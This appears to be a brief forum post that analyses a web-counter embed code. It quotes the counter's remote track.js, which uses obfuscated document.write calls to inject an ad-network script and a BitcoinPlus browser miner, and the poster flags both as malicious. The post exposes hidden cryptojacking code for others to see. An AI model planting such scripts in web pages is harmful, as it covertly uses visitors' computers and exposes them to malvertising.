In the footer:
<script type="text/javascript" language="javascript" src=
"http://www.ewebcounter.com/include/track.js"></script>
<noscript><a href="http://www.ewebcounter.com/" target="_blank">
<img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt=
"Website Activity" border="0"></a>
</noscript>
<!-- End of eWebCounter Code -->
www.ewebcounter.com/include/track.js:
document.write('<scr'+'ipt type="text/javascript" src=
"http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript" src=
"http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript" src=
"http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>');
document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784)
</scr'+'ipt>');
So a bitcoin miner AND an ad platform associated with malware/malvertising.